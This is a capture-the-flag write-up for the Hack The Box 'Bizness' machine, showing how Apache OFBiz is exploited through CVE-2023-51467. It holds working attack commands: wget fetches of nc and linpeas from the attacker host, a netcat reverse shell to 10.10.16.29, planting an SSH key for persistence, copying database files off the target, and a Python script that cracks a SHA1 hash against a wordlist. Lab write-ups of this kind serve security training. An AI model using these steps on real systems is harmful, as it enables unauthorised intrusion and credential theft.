Bizness HTB

IP

10.129.177.4

initial nmap scan

sudo nmap -p- --min-rate 10000 10.129.177.4 | cut -d"/" -f1 | tr '\n' ','

results

22,80,443,42275

Lets run a more in-depth scan of the target

sudo nmap -sCV -p22,80,443,42275 -oA tcp_ports 10.129.177.4

results

PORT      STATE SERVICE    VERSION
22/tcp    open  ssh        OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey: 
|   3072 3e:21:d5:dc:2e:61:eb:8f:a6:3b:24:2a:b7:1c:05:d3 (RSA)
|   256 39:11:42:3f:0c:25:00:08:d7:2f:1b:51:e0:43:9d:85 (ECDSA)
|_  256 b0:6f:a0:0a:9e:df:b1:7a:49:78:86:b2:35:40:ec:95 (ED25519)
80/tcp    open  http       nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to https://bizness.htb/
443/tcp   open  ssl/http   nginx 1.18.0
|_http-title: Did not follow redirect to https://bizness.htb/
|_ssl-date: TLS randomness does not represent time
|_http-server-header: nginx/1.18.0
| ssl-cert: Subject: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=UK
| Not valid before: 2023-12-14T20:03:40
|_Not valid after:  2328-11-10T20:03:40
| tls-nextprotoneg: 
|_  http/1.1
| tls-alpn: 
|_  http/1.1
42275/tcp open  tcpwrapped
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Looks like we have

  • Domain name: `https://bizness.htb/` we can add this to our hosts file

  • nginx 1.18.0: vulnerable to CVE-2020-12440 (HTTP Request Smuggling)

  • both HTTP and HTTPS

For good measures we will also run a UDP nmap scan

sudo nmap -sU -oA udp_ports 10.129.177.4

results

After we have adit our hosts file lets check out the HTTP site

we can see the following

if we scroll to the bottom of the web page we can see the following

what is Apache OFBiz?

  • is an open-source enterprise resource planning system

is it vulnerable?

  • Possibly as we dont have the version number, we can make an educated guess, this box was created this year (2023) and there is a vulnerable version of this software that was found in 2023, what we can do is utilize the following scanner and check if it is indeed vulnerable to the CVE-2023-51467

Tool

After we have cloned the tool lets install the requirements.txt

sudo pip3 install -r requirements.txt

Now lets run the scanner

sudo python3 exploit.py -u http://bizness.htb
sudo python3 exploit.py -u https://bizness.htb

And the scanner says our target is vulnerable

Now what is CVE-2023-51467?

  • this security flaw enables attackers to bypass authentication authentication, leading to SSRF (Sever Side Request Forgery) exploit. When sending a web request to the specific path /webtools/control/ping?USERNAME&PASSWORD=test&requirePasswordChange=Y

we can confirm this by navigating to to the specified url

we can use the following script to gain a shell on the target

Okay so the plan is

  1. we want to copy nc into our directory where we will host a python3 server so

cp /usr/bin/nc ./
  1. Lets start the python server

python3 -m http.server 80
  1. Lets run the exploit script and specify to use wget and install nc on the system

python3 exploit.py --url https://bizness.htb --cmd "wget http://10.10.16.29/nc"
  1. Now we want to start a nc listener to catch the reverse-shell

rlwrap -cAr nc -lvnp 9010
  1. Now we want to execute nc on the target to establish a reverse-shell back to our local machine

python3 exploit.py --url https://bizness.htb --cmd "nc 10.10.16.29 9010 -c /bin/bash"

we now have a shell on the system

Lets upgrade our shell

python3 -c "import pty;pty.spawn('/bin/bash')"

Lets get some persistence on the machine

  1. Lets create the .ssh/authorized_keys file and directory in the user ofbiz home directory

cd /home/ofbiz/
mkdir .ssh
touch authorized_keys
  1. Now that we have /.ssh/authorized_keys Lets create our pivate and public key pair using ssh-keygen on our local machine

ssh-keygen # follow the prompts
  1. we should now have our id_rsa and id_rsa.pub we want to copy and paste our public key over to the machine

echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCwly5g0PTaafdiHTkggJoQEBXrN7PeeDpdawZneVJoUVdrDRvIYBHSZpIkDweoZirMHBDsL3BD9lKfmDnIqnVzmKsgFZ702YvXVKzzCqTN7bqo5/zzj2/nsF6LUDu0wUGlxRec+H5WVRUSD0S/W0kTaJKRpI6kjN5PedadQXiByJzxAfdGrBnItLxE5Bdk4LzLOr/v7lcLPUefi2bMTld339HOCaCO/uDoPsJqStFVwL7XVuiMhLLdzteoKKXi+7IKuPwN94yhULH8Pgecz2fGcF8sC3UBcdh/QAa180SW/1dRRemeqhdNg7PXPfGhZFjng5GOh3gYCps9D6+cQ5DY961m+fN7cv/rytNF+wkb1T8YZIIKSJb6wUm2/I0c7WPa/fYt8ZfznJ+ACD8Y+QvIFr1fOSgs+4QlwtZfNAW/+KN38DzyQba6QGY+2l6LTJuvtPRiWueXRiRvOoqj6ksouS5S5qwx31X3gx67TvtW9iW/QeNI9bFWNRTwRuLSbHc=" > authorized_keys
  1. give the appropriate permissions to our private key

chmod 600 id_rsa
  1. Now we should be able to login via ssh and our private key

ssh -i id_rsa ofbiz@10.129.177.4
  • this should make it abit easier to enumerate the system

lets check for SUID files

find / -type f -perm /4000 2>/dev/null
  • nothing interesting

any internal ports listening

netstat -ano
  • nothing interesting

Lets save some time and download and run linpeas.sh and see if we can automate some of this

cd /tmp
wget http://10.10.16.29/linpeas.sh
/bin/bash ./linpeas.sh

for good measure lets run it again but place the output to the file linpease.txt (i know i miss spelled it but didnt want to wait for it to execute again 😂)

target machine

bash ./linpeas.sh > linpease.txt

local machine, we will use scp

scp -i .ssh/id_rsa ofbiz@10.129.177.4:/tmp/linpease.txt ./
  • this way we can still have the highlights, rather then copy and paste it onto our local machine

Couldnt find anything within linpeas except for what i believe to be a rabbit hole

Lets search for file types and see if we can find anything

  • we did find something interesting while searching for xml files

find / -type f -name '*.xml' 2>/dev/null

looking through the file we do find a hash

47ca69ebb4bdc9ae0adec130880165d2cc05db1a
  • unable to crack it back to the drawing board

looking back in the linpeas output we can see the presence of derby

What is derby?

  • also known as Apache Derby, is an open-source database management system (RDBMS) that is implemented in Java

Why is this interesting?

  • we could possibly be able to enumerate sensitive information from the .dat files within the derby directory, keep in mind these data files, so to find anything interesting we would need to use a tool like strings to find anything interesting

Lets search for .dat files

find / -type f -name '*.dat' 2>/dev/null

we can see majority of the .dat file are coing from the /opt/ofbiz/runtime/data/derby/ofbiztenant/seg0/ directory

Lets copy all these files into a single .txt file and copy it to our local host

target machine

cat /opt/ofbiz/runtime/data/derby/ofbiz/seg0/* > dat_files.txt

local machine

scp -i .ssh/id_rsa ofbiz@10.129.177.4:/tmp/dat_files.txt ./

Now that we have a copy of the .dat files on our local host lets see if we can find anything interesting with strings

after a couple of attempts we can find a SHA-encrypted password for Admin

strings dat_files.txt | grep SHA
$SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I

Lets see if we can crack it

hashcat -m 100 admin_hash /usr/share/wordlists/rockyou.txt
  • no luck, but this has to be the admins password right?

after abit of googling I found the ofbiz GitHub repo where we can actually see HashCrypt.java functions

from this we can write a python script to encrypt each line in rockyou.txt and compare it to our hash

import hashlib
import base64
import os
from tqdm import tqdm

class PasswordEncryptor:
    def __init__(self, hash_type="SHA", pbkdf2_iterations=10000):
        """
        Initialize the PasswordEncryptor object with a hash type and PBKDF2 iterations.

        :param hash_type: The hash algorithm to use (default is SHA).
        :param pbkdf2_iterations: The number of iterations for PBKDF2 (default is 10000).
        """
        self.hash_type = hash_type
        self.pbkdf2_iterations = pbkdf2_iterations

    def crypt_bytes(self, salt, value):
        """
        Crypt a password using the specified hash type and salt.

        :param salt: The salt used in the encryption.
        :param value: The password value to be encrypted.
        :return: The encrypted password string.
        """
        if not salt:
            salt = base64.urlsafe_b64encode(os.urandom(16)).decode('utf-8')
        hash_obj = hashlib.new(self.hash_type)
        hash_obj.update(salt.encode('utf-8'))
        hash_obj.update(value)
        hashed_bytes = hash_obj.digest()
        result = f"${self.hash_type}${salt}${base64.urlsafe_b64encode(hashed_bytes).decode('utf-8').replace('+', '.')}"
        return result

    def get_crypted_bytes(self, salt, value):
        """
        Get the encrypted bytes for a password.

        :param salt: The salt used in the encryption.
        :param value: The password value to get encrypted bytes for.
        :return: The encrypted bytes as a string.
        """
        try:
            hash_obj = hashlib.new(self.hash_type)
            hash_obj.update(salt.encode('utf-8'))
            hash_obj.update(value)
            hashed_bytes = hash_obj.digest()
            return base64.urlsafe_b64encode(hashed_bytes).decode('utf-8').replace('+', '.')
        except hashlib.NoSuchAlgorithmException as e:
            raise Exception(f"Error while computing hash of type {self.hash_type}: {e}")

# Example usage:
hash_type = "SHA1"
salt = "d"
search = "$SHA1$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I="
wordlist = '/usr/share/wordlists/rockyou.txt'

# Create an instance of the PasswordEncryptor class
encryptor = PasswordEncryptor(hash_type)

# Get the number of lines in the wordlist for the loading bar
total_lines = sum(1 for _ in open(wordlist, 'r', encoding='latin-1'))

# Iterate through the wordlist with a loading bar and check for a matching password
with open(wordlist, 'r', encoding='latin-1') as password_list:
    for password in tqdm(password_list, total=total_lines, desc="Processing"):
        value = password.strip()
        
        # Get the encrypted password
        hashed_password = encryptor.crypt_bytes(salt, value.encode('utf-8'))
        
        # Compare with the search hash
        if hashed_password == search:
            print(f'Found Password:{value}, hash:{hashed_password}')
            break  # Stop the loop if a match is found

this will identify the password and from here we can

su root # password 

and we are root

Last updated